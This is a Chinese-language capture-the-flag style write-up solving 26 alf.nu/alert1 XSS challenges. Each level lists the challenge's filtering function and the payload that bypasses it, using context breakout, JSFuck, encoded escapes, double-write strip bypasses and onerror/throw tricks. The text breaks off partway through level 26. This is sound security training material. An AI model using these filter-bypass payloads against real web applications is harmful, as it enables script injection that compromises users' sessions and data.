XSS靶场练习(二)

XSS靶场(alf.nu/alert1)部分题目详解(26/29),本文首发先知社区

写在前面

最近深感自己前端安全知识掌握的不是很好,于是找了个XSS靶场练习下,截止到2019年6月9日,网站上共有29道题目,我当前只做出了26道,还有3道题目没有头绪,分别是Fruit 3QuineEntities 2,当然已经做出的这些题目也不一定是最优解,希望与师傅们交流学习下,如果有发现什么错误,欢迎师傅们批评指正。

我的链接

1
https://alf.nu/alert(1)#accesstoken=WcMW1j+qtfFu6BQVFdJM

浏览器版本:Chrome 74

1. Warmup

1.1 源码

1
2
3
4
function escape(s) {
return '<script>console.log("' + s + '");</script>';
}

1.2 分析

代码将输入直接拼接到了返回的字符串中,没有任何过滤,直接闭合console.log("即可。

1.3 Payload

1
2
3
4
13个字符
");alert(1)//
12个字符
");alert(1,"

1

2. Adobe

2.1 源码

1
2
3
4
5

function escape(s) {
s = s.replace(/"/g, '\\"');
return '<script>console.log("' + s + '");</script>';
}

2.2 分析

代码将输入的双引号加了一个\进行了转义,这样我们就不能像第一题那样闭合console.log了,但是没啥影响,有两种方法:

  • 闭合之前的<script>标签,然后再写一个<script>
  • 使用\来转义对"进行转义的\,从而绕过对"的过滤。

2.3 Payload

1
2
3
4
方法1 27个字符
</script><script>alert(1)//
方法2 14个字符
\");alert(1)//

3. JSON

3.1 源码

1
2
3
4
function escape(s) {
s = JSON.stringify(s);
return '<script>console.log(' + s + ');</script>';
}

3.2 分析

代码将输入使用JSON.stringify进行了处理,与第二题的方法一思路相同。

3.3 Payload

1
</script><script>alert(1)//

4. Markdown

4.1 源码

1
2
3
4
5
6
7
8
function escape(s) {
var text = s.replace(/</g, '&lt;').replace(/"/g, '&quot;');
// URLs
text = text.replace(/(http:\/\/\S+)/g, '<a href="$1">$1</a>');
// [[img123|Description]]
text = text.replace(/\[\[(\w+)\|(.+?)\]\]/g, '<img alt="$2" src="$1.gif">');
return text;
}

4.2 分析

代码进行了三步操作

  1. 第一步,将<"转成了HTML实体
  2. 第二步,如果存在http://的字符串, 会可以生成一个a标签
  3. 第三步,解析Markdown的图片的语法,如果存在[[img123|Description]]格式的字符串,则变为<img alt="Description" src="img123.gif">

开头对"<进行了编码操作,所以不能直接传入"来闭合,当前思路就是构造一个字符串,使其满足后两个正则,从而引入a标签中的",从而闭合img标签的alt属性。

4.3 Payload

1
[[a|http://onerror=alert(1)//]]

5. DOM

5.1 源码

1
2
3
4
5
6
7
8
9
10
function escape(s) {
// Slightly too lazy to make two input fields.
// Pass in something like "TextNode#foo"
var m = s.split(/#/);

// Only slightly contrived at this point.
var a = document.createElement('div');
a.appendChild(document['create' + m[0]].apply(document, m.slice(1)));
return a.innerHTML;
}

5.2 分析

代码实现了一个根据输入来创建的DOM节点的功能。
如果输入是TextNode#foo,那么执行的代码就是document.createTextNode("foo")
根据格式查一下手册

列一下几个常用的:

  • createElement() 创建一个元素节点
  • createTextNode() 创建一个文本节点
  • createAttribute() 创建一个属性节点
  • createComment() 创建一个注释节点

经过尝试,通过createComment()创建一个注释节点,然后闭合注释可以达到代码执行的目的。

5.3 Payload

1
2
3
4
34个字符
Comment#><script>alert(1)</script>
32个字符
Comment#><iframe onload=alert(1)

6. Callback

6.1 源码

1
2
3
4
5
6
7
8
9
10
11
function escape(s) {
// Pass inn "callback#userdata"
var thing = s.split(/#/);

if (!/^[a-zA-Z\[\]']*$/.test(thing[0])) return 'Invalid callback';
var obj = {
'userdata': thing[1]
};
var json = JSON.stringify(obj).replace(/</g, '\\u003c');
return "<script>" + thing[0] + "(" + json + ")</script>";
}

6.2 分析

代码首先将输入的字符串按照#分割为两部分,第一部分是回调函数,只能使用大小写字母、[]',第二部分是JSON数据。
而且后面又将JSON数据中的尖括号转义成了\\u003c
最终的目的依旧是执行JS代码,thing[0]部分不一定是一个函数,只要满足要求就OK。
既然回调函数名部分和后面的值都没有过滤单引号,可以在前后放两个单引号,从而闭合它们之间的值。再加个分号作为分割,后面就好操作了。

6.3 Payload

1
'#';alert(1)//

简单分析一下最终的执行过程,通过两个单引号闭合数据。在这里是'({"userdata":"',在alert(1)后面加个注释符将后面的无效数据注释掉,也就是//"})。剩余的代码也就成功执行了。

1
<script>'({"userdata":"';alert(1)//"})</script>

7. Skandia

7.1 源码

1
2
3
function escape(s) {
return '<script>console.log("' + s.toUpperCase() + '")</script>';
}

7.2 分析

很容易就能闭合标签,但是方法alert(1),被转换成大写了,无法执行,尝试编码绕过。

7.3 Payload

1
2
54个字符
</script><img src onerror=&#97&#108&#101&#114&#116(1)>

8. Template

8.1 源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
function escape(s) {
function htmlEscape(s) {
return s.replace(/./g, function (x) {
return {
'<': '&lt;',
'>': '&gt;',
'&': '&amp;',
'"': '&quot;',
"'": '&#39;'
}[x] || x;
});
}

function expandTemplate(template, args) {
return template.replace(
/{(\w+)}/g,
function (_, n) {
return htmlEscape(args[n]);
});
}

return expandTemplate(
" \n\
<h2>Hello, <span id=name></span>!</h2> \n\
<script> \n\
var v = document.getElementById('name'); \n\
v.innerHTML = '<a href=#>{name}</a>'; \n\
<\/script> \n\
", {
name: s
}
);
}

8.2 分析

代码对输入的<>&"'、进行了转义,输入的字符串会拼接在{name}处。
由于没有过滤\,可以利用JS的8进制或者16进制编码来绕过。

8.3 Payload

需要注意的是第二个Payload末尾有一个空格。

1
2
3
4
32个字符
\x3cimg src onerror=alert(1)\x3e
26个字符
\x3cstyle/onload=alert(1)

9. JSON 2

9.1 源码

1
2
3
4
function escape(s) {
s = JSON.stringify(s).replace(/<\/script/gi, '');
return '<script>console.log(' + s + ');</script>';
}

9.2 分析

</script>标签进行了过滤,由于正则中存在i修饰符,不区分大小写,不能使用大小写混合来绕过。

由于直接将字符串替换为空,可以双写绕过。

9.3 Payload

1
</</scriptscript><script>alert(1)//

10. Callback 2

10.1 源码

1
2
3
4
5
6
7
8
9
10
11
function escape(s) {
// Pass inn "callback#userdata"
var thing = s.split(/#/);

if (!/^[a-zA-Z\[\]']*$/.test(thing[0])) return 'Invalid callback';
var obj = {
'userdata': thing[1]
};
var json = JSON.stringify(obj).replace(/\//g, '\\/');
return "<script>" + thing[0] + "(" + json + ")</script>";
}

10.2 分析

与第6题的类似,但是转义了/,导致//这个注释符无法使用,但是JavaScript的注释符有三种,分别是///**/<!--
可以使用<!--来注释。

10.3 Payload

1
'#';alert(1)<!--

11. Skandia 2

11.1 源码

1
2
3
4
function escape(s) {
if (/[<>]/.test(s)) return '-';
return '<script>console.log("' + s.toUpperCase() + '")</script>';
}

11.2 分析

代码过滤了<>。还将所有输入的字母变成了大写,不能借助toUpperCase()的特性来解了。
可以利用jsfuck
直接将");alert(1)//中的alert(1)jsfuck表示。

1
http://www.jsfuck.com/

但是直接使用工具生成的jsfuck太长了,不过我们还有另一种方法,就是JS的匿名函数。

我们可以通过这种方法来执行任意方法。

1
[]['map']['constructor']('alert(1)')()

由于对字母进行了大写转换,我们可以将其进行8进制编码,然后闭合前面,注释后面。

1
");[]['\155\141\160']['\143\157\156\163\164\162\165\143\164\157\162']('\141\154\145\162\164(1)')()//

11.3 Payload

1
2
3
4
方法一 1232个字符
");[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()//
方法二 100个字符
");[]['\155\141\160']['\143\157\156\163\164\162\165\143\164\157\162']('\141\154\145\162\164(1)')()//

12. iframe

12.1 源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function escape(s) {
var tag = document.createElement('iframe');

// For this one, you get to run any code you want, but in a "sandboxed" iframe.
// https://4i.am/?...raw=... just outputs whatever you pass in.
// Alerting from 4i.am won't count.
s = '<script>' + s + '<\/script>';
tag.src = 'https://4i.am/?:XSS=0&CT=text/html&raw=' + encodeURIComponent(s);

window.WINNING = function() {
youWon = true;
};

tag.setAttribute('onload', 'youWon && alert(1)');
return tag.outerHTML;
}

12.2 分析

代码逻辑很简单,只要使youWontrue,这样就能执行alert(1)了。
解决思路是利用到iframe的特性,当在iframe中设置了一个name属性之后, 这个name属性的值就会变成iframe中的window对象的全局。

12.3 Payload

1
name="youWon"

13. TI(S)M

13.1 源码

1
2
3
4
5
6
7
8
9
10
11
12
13
function escape(s) {
function json(s) {
return JSON.stringify(s).replace(/\//g, '\\/');
}
function html(s) {
return s.replace(/[<>"&]/g,
function(s) {
return '&#' + s.charCodeAt(0) + ';';
});
}

return ('<script>' + 'var url = ' + json(s) + '; // We\'ll use this later ' + '</script>\n\n' + ' <!-- for debugging -->\n' + ' URL: ' + html(s) + '\n\n' + '<!-- then suddenly -->\n' + '<script>\n' + ' if (!/^http:.*/.test(url)) console.log("Bad url: " + url);\n' + ' else new Image().src = url;\n' + '</script>');
}

13.2 分析

本题用到了一个小trick:
HTML5解析器会将<!--<script></script>之间的任何东西都当作JavaScript代码处理,同时要确保代码中还有一个-->来防止解析器报语法错误。

首先输入一个<!--<script>,此时的输出中

1
2
3
4
5
6
7
8
9
10
<!--<script>"; // We'll use this later </script>

<!-- for debugging -->
URL: &#60;!--&#60;script&#62;

<!-- then suddenly -->
<script>
if (!/^http:.*/.test(url)) console.log("Bad url: " + url);
else new Image().src = url;
</script>

这一段所有的代码都会当做JS执行。
在后面有个正则表达式!/^http:.*/,其中的*/可以当做注释,那么我们在前面再加入一个/*即可闭合。
此时的输出为

1
2
3
4
5
6
7
8
9
10
<script>var url = "\/*<!--<script>"; // We'll use this later </script>

<!-- for debugging -->
URL: /*&#60;!--&#60;script&#62;

<!-- then suddenly -->
<script>
if (!/^http:.*/.test(url)) console.log("Bad url: " + url);
else new Image().src = url;
</script>

那么,在注释符之前添加要执行的代码就可以了。

13.3 Payload

1
if(alert(1)/*<!--<script>

14. JSON 3

14.1 源码

1
2
3
4
5
6
7
8
function escape(s) {
return s.split('#').map(function(v) {
// Only 20% of slashes are end tags; save 1.2% of total
// bytes by only escaping those.
var json = JSON.stringify(v).replace(/<\//g, '<\\/');
return '<script>console.log(' + json + ')</script>';
}).join('');
}

14.2 分析

题目思路与上一个题类似,借助<!--<script>来执行JS代码,不过因为后面没有-->,解析器会报错,需要我们在后面构造一个-->来避免报错。

构造的Payload<!--<script>#)/;alert(1)//-->,此时输出为

1
<script>console.log("<!--<script>")</script><script>console.log(")/;alert(1)//-->")</script>

其中/script><script>console.log(")/被当做了正则表达式解析,后面通过分号分割后,成功执行代码alert(1)

14.3 Payload

1
<!--<script>#)/;alert(1)//-->

15. Skandia 3

15.1 源码

1
2
3
4
function escape(s) {
if (/[\\<>]/.test(s)) return '-';
return '<script>console.log("' + s.toUpperCase() + '")</script>';
}

15.2 分析

代码过滤了\<>、同样使用jsfuck就能过。因为对\进行了过滤,不能使用八进制编码来绕过了。
根据jsfuck原理,我们借助匿名函数来构造一个更短的Payload

1
[]["sort"]["constructor"]('alert(1)')()

接下来的目标是将其中的字母以其他形式来表示。

  • ! 开头会转换成 Boolean 布尔值
  • + 开头会转换成 Number 数值类型
  • 添加 [] 会转换成 String 字符串
  • ![] === false+[] === 0[]+[] === ""
经过jsfuck转换后
false ![]
true !![]!+[]
NaN +[![]]+[][[]]
undefined [][[]]
Infinity +(+!+[]+(!+[]+[])[!+[]+!+[]+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]])

由此我们需要获得construale这些字符的特殊表示。很明显,上述表格内的字母是不够的,需要继续构造。

1
2
(![]+[])[0]+([][[]]+[])[5]+(![]+[])[2]+(![]+[])[2] === "fill"
[]['fill']+[] === [][(![]+[])[0]+([][[]]+[])[5]+(![]+[])[2]+(![]+[])[2]]+[] ==="function fill() { [native code] }"

可得

1
2
3
4
5
6
7
8
9
10
"c" === ([][(![]+[])[0]+([][[]]+[])[5]+(![]+[])[2]+(![]+[])[2]]+[])[3]
"o" === ([][(![]+[])[0]+([][[]]+[])[5]+(![]+[])[2]+(![]+[])[2]]+[])[6]
"n" === ([][[]]+[])[1]
"s" === (![]+[])[3]
"t" === (!![]+[])[0]
"r" === (!![]+[])[1]
"u" === (!![]+[])[2]
"a" === (![]+[])[1]
"l" === (![]+[])[2]
"e" === (![]+[])[4]

可得

1
2
3
"sort" === (![]+[])[3]+([][(![]+[])[0]+([][[]]+[])[5]+(![]+[])[2]+(![]+[])[2]]+[])[6]+(!![]+[])[1]+(!![]+[])[0]
"constructor" === ([][(![]+[])[0]+([][[]]+[])[5]+(![]+[])[2]+(![]+[])[2]]+[])[3]+([][(![]+[])[0]+([][[]]+[])[5]+(![]+[])[2]+(![]+[])[2]]+[])[6]+([][[]]+[])[1]+(![]+[])[3]+(!![]+[])[0]+(!![]+[])[1]+(!![]+[])[2]+([][(![]+[])[0]+([][[]]+[])[5]+(![]+[])[2]+(![]+[])[2]]+[])[3]+(!![]+[])[0]+([][(![]+[])[0]+([][[]]+[])[5]+(![]+[])[2]+(![]+[])[2]]+[])[6]+(!![]+[])[1]
"alert" === (![]+[])[1]+(![]+[])[2]+(![]+[])[4]+(!![]+[])[1]+(!![]+[])[0]

将其拼接入Payload,长度为525

1
");[][(![]+[])[3]+([][(![]+[])[0]+([][[]]+[])[5]+(![]+[])[2]+(![]+[])[2]]+[])[6]+(!![]+[])[1]+(!![]+[])[0]][([][(![]+[])[0]+([][[]]+[])[5]+(![]+[])[2]+(![]+[])[2]]+[])[3]+([][(![]+[])[0]+([][[]]+[])[5]+(![]+[])[2]+(![]+[])[2]]+[])[6]+([][[]]+[])[1]+(![]+[])[3]+(!![]+[])[0]+(!![]+[])[1]+(!![]+[])[2]+([][(![]+[])[0]+([][[]]+[])[5]+(![]+[])[2]+(![]+[])[2]]+[])[3]+(!![]+[])[0]+([][(![]+[])[0]+([][[]]+[])[5]+(![]+[])[2]+(![]+[])[2]]+[])[6]+(!![]+[])[1]]((![]+[])[1]+(![]+[])[2]+(![]+[])[4]+(!![]+[])[1]+(!![]+[])[0]+'(1)')()//

从网上找了一种更为简便的方法。

表达式
''+!1 false
''+!0 true
''+{}[0] undefined
''+{} [object Object]
1
2
3
"sort" === (''+!1)[3]+(''+{})[1]+(''+!0)[1]+(''+!0)[0]
"constructor" === (''+{})[5]+(''+{})[1]+(''+{}[0])[1]+(''+!1)[3]+(''+!0)[0]+(''+!0)[1]+(''+!0)[2]+(''+{})[5]+(''+!0)[0]+(''+{})[1]+(''+!0)[1]
"alert" === (''+!1)[1]+(''+!1)[2]+(''+!1)[4]+(''+!0)[1]+(''+!0)[0]

构造Payload,长度为241

1
");[][(''+!1)[3]+(''+{})[1]+(''+!0)[1]+(''+!0)[0]][(''+{})[5]+(''+{})[1]+(''+{}[0])[1]+(''+!1)[3]+(''+!0)[0]+(''+!0)[1]+(''+!0)[2]+(''+{})[5]+(''+!0)[0]+(''+{})[1]+(''+!0)[1]]((''+!1)[1]+(''+!1)[2]+(''+!1)[4]+(''+!0)[1]+(''+!0)[0]+'(1)')()//

15.3 Payload

1
2
3
4
5
6
方法一
");[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()//
方法二
");[][(![]+[])[3]+([][(![]+[])[0]+([][[]]+[])[5]+(![]+[])[2]+(![]+[])[2]]+[])[6]+(!![]+[])[1]+(!![]+[])[0]][([][(![]+[])[0]+([][[]]+[])[5]+(![]+[])[2]+(![]+[])[2]]+[])[3]+([][(![]+[])[0]+([][[]]+[])[5]+(![]+[])[2]+(![]+[])[2]]+[])[6]+([][[]]+[])[1]+(![]+[])[3]+(!![]+[])[0]+(!![]+[])[1]+(!![]+[])[2]+([][(![]+[])[0]+([][[]]+[])[5]+(![]+[])[2]+(![]+[])[2]]+[])[3]+(!![]+[])[0]+([][(![]+[])[0]+([][[]]+[])[5]+(![]+[])[2]+(![]+[])[2]]+[])[6]+(!![]+[])[1]]((![]+[])[1]+(![]+[])[2]+(![]+[])[4]+(!![]+[])[1]+(!![]+[])[0]+'(1)')()//
方法三
");[][(''+!1)[3]+(''+{})[1]+(''+!0)[1]+(''+!0)[0]][(''+{})[5]+(''+{})[1]+(''+{}[0])[1]+(''+!1)[3]+(''+!0)[0]+(''+!0)[1]+(''+!0)[2]+(''+{})[5]+(''+!0)[0]+(''+{})[1]+(''+!0)[1]]((''+!1)[1]+(''+!1)[2]+(''+!1)[4]+(''+!0)[1]+(''+!0)[0]+'(1)')()//

15

16. RFC4627

16.1 源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function escape(text) {
var i = 0;
window.the_easy_but_expensive_way_out = function() {
alert(i++)
};

// "A JSON text can be safely passed into JavaScript's eval() function
// (which compiles and executes a string) if all the characters not
// enclosed in strings are in the set of characters that form JSON
// tokens."
if (! (/[^,:{}\[\]0-9.\-+Eaeflnr-u \n\r\t]/.test(text.replace(/"(\\.|[^"\\])*"/g, '')))) {
try {
var val = eval('(' + text + ')');
console.log('' + val);
} catch(_) {
console.log('Crashed: ' + _);
}
} else {
console.log('Rejected.');
}
}

16.2 分析

从代码来看,我们如果想要执行alert(1),需要调用两次the_easy_but_expensive_way_out方法。
从正则来看,代码并没有限制我们使用self,因此我们可以借助self来调用全局方法the_easy_but_expensive_way_out

在这里使用了一个小trick

  • JS中让一个对象和一个值或者一个字符进行相加等运算,JS解析器会调用对象的valueOf方法来计算对象的值。

因此我们可以传入一个对象,它的valueOf指向的是self['the_easy_but_expensive_way_out']方法,然后让这个对象与一个数字或者字符做运算,就能调用self['the_easy_but_expensive_way_out']了,但是需要alert(1),所以需要我们调用两次。

参考链接

https://blog.mindedsecurity.com/2011/08/ye-olde-crockford-json-regexp-is.html

16.3 Payload

1
{"valueOf":self["the_easy_but_expensive_way_out"]}+0,{"valueOf":self["the_easy_but_expensive_way_out"]}

第一次调用是在eval中,通过{"valueOf":self["the_easy_but_expensive_way_out"]}+0调用,第二次是在console.log('' + val);中,对象与字符进行了相加操作,从而调用了self['the_easy_but_expensive_way_out']方法。

17. Well

17.1 源码

1
2
3
4
5
function escape(s) {
http: //www.avlidienbrunn.se/xsschallenge/
s = s.replace(/[\r\n\u2028\u2029\\;,()\[\]<]/g, '');
return "<script> var email = '" + s + "'; <\/script>";
}

17.2 分析

代码过滤了\r\n\u2028\u2029\;,()[]<
单引号没被过滤,可以闭合前面的语句,通过定义函数来执行代码。

Payload中,我们借助了new Function语法

17.3 Payload

1
'+new Function `a${'alert'+String.fromCharCode`40`+1+String.fromCharCode`41`}`+'

18. No

18.1 源码

1
2
3
4
function escape(s) {
s = s.replace(/[()`<]/g, ''); // no function calls
return '<script>\n' + 'var string = "' + s + '";\n' + 'console.log(string);\n' + '</script>';
}

18.2 分析

代码过滤了(\<、但是没有过滤双引号,可以通过双引号来闭合前面的语句。
然后借助异常处理来执行代码。

1
";onerror=eval;throw'=alert\x281\x29'//

参考链接
http://www.thespanner.co.uk/2012/05/01/xss-technique-without-parentheses/

18.3 Payload

1
";onerror=eval;throw'=alert\x281\x29'//

19. K’Z’K 1

19.1 源码

1
2
3
4
5
6
// submitted by Stephen Leppik
function escape(s) {
// remove vowels in honor of K'Z'K the Destroyer
s = s.replace(/[aeiouy]/gi, '');
return '<script>console.log("' + s + '");</script>';
}

19.2 分析

正则过滤了aeiouy这些字符。可以借助匿名函数和编码来绕过。
首先构造匿名函数

1
[]["pop"]["constructor"]('alert(1)')()

将其中的被过滤的字符进行16进制编码。

1
2
3
4
5
6
a ==> \x61
e ==> \x65
i ==> \x69
o ==> \x6f
u ==> \x75
y ==> \x79

此时Payload为

1
[]["p\x6fp"]["c\x6fnstr\x75ct\x6fr"]('\x61l\x65rt(1)')()

再将前后的语句闭合即可。

1
");[]["p\x6fp"]["c\x6fnstr\x75ct\x6fr"]('\x61l\x65rt(1)')()//

19.3 Payload

1
");[]["p\x6fp"]["c\x6fnstr\x75ct\x6fr"]('\x61l\x65rt(1)')()//

20. K’Z’K 2

20.1 源码

1
2
3
4
5
6
7
8
9
// submitted by Stephen Leppik
function escape(s) {
// remove vowels and escape sequences in honor of K'Z'K
// y is only sometimes a vowel, so it's only removed as a literal
s = s.replace(/[aeiouy]|\\((x|u00)([46][159f]|[57]5)|1([04][15]|[15][17]|[26]5))/gi, '')
// remove certain characters that can be used to get vowels
s = s.replace(/[{}!=<>]/g, '');
return '<script>console.log("' + s + '");</script>';
}

20.2 分析

正则看起来很复杂,不过是将编码的字符串替换为空了,双写一下就能绕过。

20.3 Payload

1
");[]["p\\x6fx6fp"]["c\\x6fx6fnstr\\x75x75ct\\x6fx6fr"]('\\x61x61l\\x65x65rt(1)')()//

21. K’Z’K 3

21.1 源码

1
2
3
4
5
6
7
8
// submitted by Stephen Leppik
function escape(s) {
// remove vowels in honor of K'Z'K the Destroyer
s = s.replace(/[aeiouy]/gi, '');
// remove certain characters that can be used to get vowels
s = s.replace(/[{}!=<>\\]/g, '');
return '<script>console.log("' + s + '");</script>';
}

21.2 分析

比第一题多了一个过滤,不仅过滤了aeiouy,还过滤了{}!=<>\。这下不能用编码来绕过了。
类似于第15题。

1
[]["map"]["constructor"]('alert(1)')()

在Payload中,不符合条件的字符aeou。借助js的一些特性可以获取到。

1
2
3
4
5
6
7
8
[][[]]+[] === "undefined"
([][[]]+[])[0] === "u"
([][[]]+[])[3] === "e"

1+[][0]+[] === "NaN"
(1+[][0]+[])[1] === "a"
[]["m"+(1+[][0]+[])[1]+"p"]+[] === "function map() { [native code] }"
([]["m"+(1+[][0]+[])[1]+"p"]+[])[26] === "o"

这样所有的字符就都获取到了,修改一下Payload

1
[]["m"+(1+[][0]+[])[1]+"p"]["c"+([]["m"+(1+[][0]+[])[1]+"p"]+[])[26]+"nstr"+([][[]]+[])[0]+"ct"+([]["m"+(1+[][0]+[])[1]+"p"]+[])[26]+"r"]((1+[][0]+[])[1]+"l"+([][[]]+[])[3]+"rt(1)")()

再闭合一下就OK了

21.3 Payload

1
");[]["m"+(1+[][0]+[])[1]+"p"]["c"+([]["m"+(1+[][0]+[])[1]+"p"]+[])[26]+"nstr"+([][[]]+[])[0]+"ct"+([]["m"+(1+[][0]+[])[1]+"p"]+[])[26]+"r"]((1+[][0]+[])[1]+"l"+([][[]]+[])[3]+"rt(1)")()//

22. Fruit

22.1 源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// CVE-2016-4618
function escape(s) {
var div = document.implementation.createHTMLDocument().createElement('div');
div.innerHTML = s;
function f(n) {
if ('SCRIPT' === n.tagName) n.parentNode.removeChild(n);
for (var i = 0; i < n.attributes.length; i++) {
var name = n.attributes[i].name;
if (name !== 'class') {
n.removeAttribute(name);
}
}
} [].map.call(div.querySelectorAll('*'), f);
return div.innerHTML;
}

22.2 分析

题目直接给了提示CVE-2016-4618,但发现没啥用。
在这里,代码主要的问题出现在逻辑上,在for循环中,代码通过n.attributes.length来判断边界条件,但是n.attributes.length是动态变化的,如果存在多个属性,则最后一个属性是无法删除的,只要我们构造多个属性即可。

22.3 Payload

1
<iframe t onload=alert(1)>

23. Fruit 2

23.1 源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// CVE-2016-7650
function escape(s) {
var div = document.implementation.createHTMLDocument().createElement('div');
div.innerHTML = s;
function f(n) {
if (/script/i.test(n.tagName)) n.parentNode.removeChild(n);
for (var i = 0; i < n.attributes.length; i++) {
var name = n.attributes[i].name;
if (name !== 'class') {
n.removeAttribute(name);
}
}
} [].map.call(div.querySelectorAll('*'), f);
return div.innerHTML;
}

23.2 分析

提示依旧没啥用,而且代码较上一题区别不大,使用同一个Payload即可。

23.3 Payload

1
<iframe t onload=alert(1)>

24. Capitals

24.1 源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// submitted by msamuel
function escape(s) {
var capitals = {
"CA": {
"AB": "Edmonton",
"BC": "Victoria",
"MB": "Winnipeg",
// etc.
},
"US": {
// Alabama changed its state capital.
"AL": ((year) = >year < 1846 ? "Tuscaloosa": "Montgomery"),
"AK": "Juneau",
"AR": "Phoenix",
// etc.
},
};

function capitalOf(country, stateOrProvinceName, year) {
var capital = capitals[country][stateOrProvinceName];
if (typeof capital === 'function') {
capital = capital(year);
}
return capital
}

var inputs = (s || "").split(/#/g);
return '<b>' + capitalOf(inputs[0], inputs[1], inputs[2]) + '</b>';
}

24.2 分析

代码的逻辑很简单,我们要想执行alert(1),需要满足if (typeof capital === 'function'),而var capital = capitals[country][stateOrProvinceName];,这里想到了我们前面做题用到的匿名函数。

然后我们再用</b>闭合b标签,添加<script>标签来执行alert(1)

24.3 Payload

1
CA#constructor#</b><script>alert(1)</script>

25. Entities

25.1 源码

1
2
3
4
5
6
7
8
9
10
11
12
// submitted by securityMB
function escape(s) {
function htmlentities(s) {
return s.replace(/[&<>"']/g, c = >` & #$ {
c.charCodeAt(0)
};`)
}
s = htmlentities(s);
return` < script >
var obj = {};
obj["${s}"] = "${s}"; < /script>`;
}

25.2 分析

代码对&<>"'进行了转义,后面返回值部分存在两个拼接点。借助转义符\和注释符来进行绕过,拼接代码执行。

25.3 Payload

1
];alert(1)//\

26. %level%

26.1 源码

1
2
3
4
5
6
// submitted anonymously
function escape(s) {
const userInput = JSON.stringify(s).replace(/[<]/g, '%lt').replace(/[>]/g, '%gt');
const userTemplate = '<script>let some = %userData%</script>';
return userTemplate.replace(/%userData%/, userInput);
}

26.2 分析

代码对输入的字符串使用JSON.stringify进行了处理,然后对<>进行了编码。
replace中,userInput是可控的,在这里用到了关于String​.prototype​.replace()的一个小trick

https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/replace

